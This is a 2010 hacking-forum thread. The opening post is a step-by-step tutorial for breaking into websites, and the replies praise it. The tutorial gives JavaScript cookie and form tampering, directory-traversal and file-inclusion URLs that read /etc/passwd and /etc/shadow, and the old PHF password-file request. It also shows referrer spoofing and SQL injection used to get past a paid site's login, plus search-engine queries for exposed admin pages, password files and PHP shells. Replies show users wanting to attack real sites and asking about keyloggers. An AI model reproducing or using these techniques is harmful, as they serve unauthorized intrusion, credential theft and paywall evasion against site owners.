

Forum:[Hack Forums](#)

Thread: [\[TUT\]HOW to HAcK a Web Site\[tut\]](#)

ziglet^ - April 26, 2010, 7:52 pm

First step: View the Source

Is to view the source of the page where you can find some useful things which may or may not include hidden directories. Most of lamers argue that there is nothing in the source but you have to look in the comments of the page where some web masters keep there personal data (such as contacts, e-mails....).If you doesn't find any awesome information just have a quick look on the source for additional clue's.

Second step : Search for Hidden Tags and Edit Existing values

find out the most abused <INPUT> tag in source make sure that all of them appear on the WEB page.If any extra tag appears then it's a Hidden Tag. To view these hidden values use

```
http://insteadof_regular_name type java script:<command>
java script:alert("here you have view the HTTP FORM submission to GET or POST)
java script:alert("hello")
```

you get a pop up of hello.To View/change the values use alert/void command respectively.

To view the first form values type

```
java script:alert(document.forms[0].varname.value)
```

Note: the first form is always zero not one ...

To change the value in the form use void command

```
java script:void(document.forms[0].varname.value="new value")
```

Third step:Common File & Directory Search

check for common files and Directories such as

admin.php,passwd.php,login.cgi,index2.php,login.asp,login.php,/Admin/,cg-bin/,/pub/,/images/,/scripts/,they are many common files and directories with which you may hang around for some hot stuff.

lets take a example.

A site may have a link to <http://www.testingha...cretfile345.txt>

after you pay or access any sensitive data it reports the file to web server. This technique is used by web masters to view the users IP or Location from where they are accessing the pages these are helpful to trace the intruders.

(A script on the web server does this job for a them)

Looking at the URI in the Location bar of the browser you could can access to the (above)file or log on the web server.

Another example of bypassing authorization is the CISCO IOS HTTP authorization vulnerability

The URL of the web based administration interface contains only a two digit number between 16 to 99.

<http://www.testingha...NN/data/secret/.....>

Just you have to guess the value of NN(16-99) to access the device's administration interface at the highest privilege.

Fourth Step : Directory transversal

If you are familiar with BASIC DOS COMMANDS then you are aware of

cd..
cd...
cd\

in the same way use the web directory transversal as following

<http://www.victim.co...e/dirs/sub/dir/>

the above the sample URL to access the sub directory use the dir transversal

<http://www.victim.com/some/dirs/sub/dir/../>

<http://www.victim.com/some/dirs/sub/dir/../../>

If the web server is vulnerable then you may get access to the directories.

This exploit is almost fixed don't get disappointed we will go through with other techniques.

Fifth Step: cookie Manipulation

checkout for cookies if the site uses a plain text cookies then you may get some thing interesting..

To view cookie information type

java script:alert(document.cookie)

to change the value of the cookie use this

java script:void(document.cookie="desired_variable=some value")

if the cookies are set on your computer then it would pop up with the values few people are afraid of cookies 'they believe that the cookies may steal valuable data on there systems and these people doesn't allow sites to set cookies on there browser"

Cookies are small piece of data which are used to identify the user(last visit,date,time). in short you can say client side validation. They are many articles on cookie stealing on hts.org and cs.net and videos on irongeek.com

PHP Injections

PHP is a server-side language

<http://www.domain.com/index.php?page=main.php>

<http://www.domain.com/index.php?page=maliciouspage.php>

<http://www.domain.com/index.php?page=commonfile.php>

does the above one need explanation

Sixth step : referrer spoofing

referrer spoofing is another technique to override authentication .

Let take an example :

I have designed a site which has the above vulnerable..

```
<%@ language =vbscript %>
<% option explicit %>
<html>
<head>
<title>
welcome to the members </title>
</head>
<body bgcolor=pink>
<h1>
welcome to members page</h1>
<% dim strREFERER,bolPERMIT
strREFERER=request.servervariables("http_referer")
if right(strREFERER,9) ="login.asp" then
bolPERMIT=true
response.redirect "members.asp"
end if
if not bolPERMIT then
response.redirect "login.asp"
end if
%>
```

these poor coding from me coz I am in hurry to just finish the site.. ok lets come to the point

here you may observe the if condition it is checking that the right side(9 characters) of the url must be login.asp.(checking the tail of the url)

let see how these may be override..

<http://localhost/login.asp>

or

<http://anysite.com./any/dir/login.asp>

it works becoz we got the right file name as our referrer .it may be any URL .but, the file name should be login.asp

what are you going to tell with that fuckin code??

May be the question arise. Let me explain if you are accessing porn sites they first check for authentication after that they set the values (variables) and they identify only with the referrers

<http://members.somepornsite.com/>

you got some stuff from the site which you want to access but it asks for credentials. To beat that do as follows

<http://members.somepornsite.com/login.asp>

just leave blank or use the SQL injections for three or more times until you can get a warning page or invalid login page and note whether the site has set any cookie on your PC .read the variables carefully . if you toggle the values (variables) or change the cookies you may access the members area

<http://members.somepornsite.com/some/dir/images/gotit.jpg>

or

<http://members.somepornsite.com/some/dir/movies/huge.mpg>

and they are many articles on referrer spoofing on cs.net check it out

:The classical PHF method

since some people are asking questions about the Phf method i will write how to use it here.

first in 95% of the time this method will not work since most people know about it and it has been fixed on most WebPages. all you have to do is to type in the address bar:

<http://www.victim.com/cgi-bin/phf?Qalias=x%Oal/bin/cat%20/etc/passwd>

Seventh step: Generate Errors

generate error on the page. excluding 404 error. If you get any error except 404 or page not displayed. then it is vulnerable.such as 403,500,501

Note: every vulnerability may be or may not be exploitable

Eighth step: Googling

On this particular forums you might hear the term Google it.

Before asking questions(basic or Advanced) use google .I will show you How to Use Google with a Hacker's Point of view

inurl:adminlogin.asp = search's for adminlogins

inurl:backup filetype:mdb = looks for old databases with logins

"index of cgi-bin" = the directory of cgi-bin;)

intitle:"PHP Shell *" "Enable stderr" filetype:php = a remote php shell

intitle:"network administration" inurl:"nic" = A funny thing to take over networked printers

"-dir/pws"

"dir:cgi"

"dir:sql"

"dir:php"

"dir:!bin"

"filetype:*.*)"

filetype:pwd pwd inurl:"pwd" intitle:""

inurl:".com/accounts/NewAccount " intitle:"google" intext:"password"

intitle:"Powered by Invision" intext:"invision" inurl:"invision"

intitle:"Admin" intext:"password"

for unix type of machines

"http://www.domain.com/index.php?page=/etc/shadow" or '?page=/etc/passwd'

using google to scan a website

site:www.victim.com

the above one scans the entire site

looking in the cached (the big buckets of google) pages of configurations or Administrators page

cache:www.victim.com intext:500

cache:www.victim.com intext:"Administrator"

cache:www.victim.com inurl:login | inurl:config

Google itself warns that it is not responsible some stuff to view the links of website

link:www.victim.com

to search a topic in abysmal manner

Google keyword filetype:pdf

Advance hacking filetype:ppt

Spoofing filetype:doc

Ninth step: Tools

Intellitamper : to scan the web

Nmap: port scanner

Stealth HTTP Scanner

WebSleuth : input validation attack

Black Widow : mirroring tool

WebCracker 5.0

Brutus AET2

CookieSpy

Paros

Due to the Post length the below topics are truncated Google it for more information

Topics Skipped:

SQL Injections,

XSS

Unpatched security flaws

Denial of Service

Improper Error Handling

Insertion of Malicious Commands or Command Modifiers,

Buffer Overflows

Active Session Hijacking

Client Side Caching

Forced Browsing

Snorlax - April 26, 2010, 7:53 pm

This Kind of thing has been posted 500 times, but ok nice try Bud...

real0virgin0 - April 26, 2010, 8:00 pm

Too big tut man but valuable

ziglet^ - April 26, 2010, 8:04 pm

thank you !! :)..Can ne 1 HElp Me With Keyloggers??

typical bullshit - April 26, 2010, 8:05 pm

Nice tutorial , but its too long :P

How do u need help, pm me. or ask in begginner section.

ADIL - April 26, 2010, 9:34 pm

yes so big tut but inject is simple :-p

tejasnmchavan - April 26, 2010, 11:13 pm

too long but I liked it!!

orion4mm - May 3, 2010, 7:43 pm

help me so much i am trying to hack this site swagbucks.com but im thinking of just hacking gaia or maybe youtube whoa that will be hard

SkyyRaiden - May 3, 2010, 9:38 pm

For not having alot of posts. By golly what a bad ass tutorial. I mean holy shit. 20 posts and this nig already has got a bad ass tut!! Thanks for the good information. Very well put together!

aamir_ali345 - May 4, 2010, 1:09 am

Very good tutorial thanks for sharing

ziglet^ - May 4, 2010, 5:28 am

No Problem..Thanks and +rep is always appreciated....I guess I joined HF late.

ishan2095 - May 4, 2010, 5:36 am

:) kewl man !

thnx very much ! :)

Cyandelta_CG - May 4, 2010, 5:37 am

Nice tut, very true about looking in the source for stuff, I do that too (sometimes).

breathhacker - May 4, 2010, 5:42 am

Nice Tutorial MAn.

2 short...

Phizo - May 4, 2010, 7:51 am

So where did you rip this from?

ziglet^ - May 6, 2010, 5:09 am

NoT totally ripped.... I got it the source stuff 4m a Manul file I had.....PHF Method and The The Stuff Xculed was written by me. :)

?mega - May 6, 2010, 7:04 am

The TuT is too long and these kinds of Tutorials have been posted at HF since 1979.